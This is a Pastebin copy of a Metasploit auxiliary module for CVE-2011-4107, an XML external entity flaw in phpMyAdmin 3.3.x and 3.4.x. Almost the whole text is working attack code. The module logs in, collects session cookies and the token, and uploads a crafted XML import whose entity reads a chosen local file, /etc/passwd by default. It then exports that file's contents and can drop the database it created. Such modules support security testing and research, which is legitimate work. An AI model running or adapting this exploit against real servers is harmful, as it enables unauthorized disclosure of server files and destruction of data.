Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
- # Date: 12-01-2012
- # Author: Marco Batista
- # Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/
- # Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7
- # CVE : CVE-2011-4107
- require 'msf/core'
- class Metasploit3 < Msf::Auxiliary
- include Msf::Exploit::Remote::HttpClient
- def initialize
- super(
- 'Name' => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
- 'Version' => '1.0',
- 'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
- The attacker must be logged in to MySQL via phpMyAdmin.
- Works on Windows and Linux Versions 3.3.X and 3.4.X},
- 'References' =>
- [
- [ 'CVE', '2011-4107' ],
- [ 'OSVDB', '76798' ],
- [ 'BID', '50497' ],
- [ 'URL', 'http://secforce.com/research/'],
- ],
- 'Author' => [ 'Marco Batista' ],
- 'License' => MSF_LICENSE
- )
- register_options(
- [
- Opt::RPORT(80),
- OptString.new('FILE', [ true, "File to read", '/etc/passwd']),
- OptString.new('USER', [ true, "Username", 'root']),
- OptString.new('PASS', [ false, "Password", 'password']),
- OptString.new('DB', [ true, "Database to use/create", 'hddaccess']),
- OptString.new('TBL', [ true, "Table to use/create and read the file to", 'files']),
- OptString.new('APP', [ true, "Location for phpMyAdmin URL", '/phpmyadmin']),
- OptString.new('DROP', [ true, "Drop database after reading file?", 'true']),
- ],self.class)
- end
- def loginprocess
- # HTTP GET TO GET SESSION VALUES
- getresponse = send_request_cgi({
- 'uri' => datastore['APP']+'/index.php',
- 'method' => 'GET',
- 'version' => '1.1',
- }, 25)
- if (getresponse.nil?)
- print_error("no response for #{ip}:#{rport}")
- elsif (getresponse.code == 200)
- print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
- elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
- print_status("Received 302 to #{getresponse.headers['Location']}")
- else
- print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
- end
- valuesget = getresponse.headers["Set-Cookie"]
- varsget = valuesget.split(" ")
- #GETTING THE VARIABLES NEEDED
- phpMyAdmin = varsget.grep(/phpMyAdmin/).last
- pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
- # END HTTP GET
- # LOGIN POST REQUEST TO GET COOKIE VALUE
- postresponse = send_request_cgi({
- 'uri' => datastore['APP']+'/index.php',
- 'method' => 'POST',
- 'version' => '1.1',
- 'headers' =>{
- 'Content-Type' => 'application/x-www-form-urlencoded',
- 'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
- },
- 'data' => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
- }, 25)
- if (postresponse["Location"].nil?)
- print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
- tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last
- else
- tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
- end
- valuespost = postresponse.headers["Set-Cookie"]
- varspost = valuespost.split(" ")
- #GETTING THE VARIABLES NEEDED
- pmaUser = varspost.grep(/pmaUser-1/).last
- pmaPass = varspost.grep(/pmaPass-1/).last
- return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
- # END OF LOGIN POST REQUEST
- rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
- print_error(e.message)
- rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
- print_error(e.message)
- end
- def readfile(cookie,tokenvalue)
- #READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN
- getfiles = send_request_cgi({
- 'uri' => datastore['APP']+'/export.php',
- 'method' => 'POST',
- 'version' => '1.1',
- 'headers' =>{
- 'Cookie' => cookie
- },
- 'data' => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
- }, 25)
- if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
- print_error("Error reading the file... not enough privilege? login error?")
- else
- print_status("#{getfiles.body}")
- end
- end
- def dropdatabase(cookie,tokenvalue)
- dropdb = send_request_cgi({
- 'uri' => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
- 'method' => 'GET',
- 'version' => '1.1',
- 'headers' =>{
- 'Cookie' => cookie
- },
- }, 25)
- print_status("Dropping database: "+datastore['DB'])
- end
- def run
- cookie,tokenvalue = loginprocess()
- print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")
- craftedXML = "------WebKitFormBoundary3XPL01T\n"
- craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
- craftedXML << tokenvalue+"\n"
- craftedXML << "------WebKitFormBoundary3XPL01T\n"
- craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
- craftedXML << "server\n"
- craftedXML << "------WebKitFormBoundary3XPL01T\n"
- craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
- craftedXML << "Content-Type: text/xml\n\n"
- craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
- craftedXML << "<!DOCTYPE ficheiro [ \n"
- craftedXML << " <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
- craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
- craftedXML << " <pma:structure_schemas>\n"
- craftedXML << " <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
- craftedXML << " <pma:table name=\""+datastore['TBL']+"\">\n"
- craftedXML << " CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
- craftedXML << " </pma:table>\n"
- craftedXML << " </pma:database>\n"
- craftedXML << " </pma:structure_schemas>\n"
- craftedXML << " <database name=\""+datastore['DB']+"\">\n"
- craftedXML << " <table name=\""+datastore['TBL']+"\">\n"
- craftedXML << " <column name=\"file\">&conteudo;</column>\n"
- craftedXML << " </table>\n"
- craftedXML << " </database>\n"
- craftedXML << "</pma_xml_export>\n\n"
- craftedXML << "------WebKitFormBoundary3XPL01T\n"
- craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
- craftedXML << "xml\n"
- craftedXML << "------WebKitFormBoundary3XPL01T\n"
- craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
- craftedXML << ",\n\n"
- craftedXML << "------WebKitFormBoundary3XPL01T--"
- print_status("Grabbing that #{datastore['FILE']} you want...")
- res = send_request_cgi({
- 'uri' => datastore['APP']+'/import.php',
- 'method' => 'POST',
- 'version' => '1.1',
- 'headers' =>{
- 'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
- 'Cookie' => cookie
- },
- 'data' => craftedXML
- }, 25)
- readfile(cookie,tokenvalue)
- if (datastore['DROP'] == "true")
- dropdatabase(cookie,tokenvalue)
- else
- print_status("Database was not dropped: "+datastore['DB'])
- end
- end
- end
- # 1337day.com [2012-01-14]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement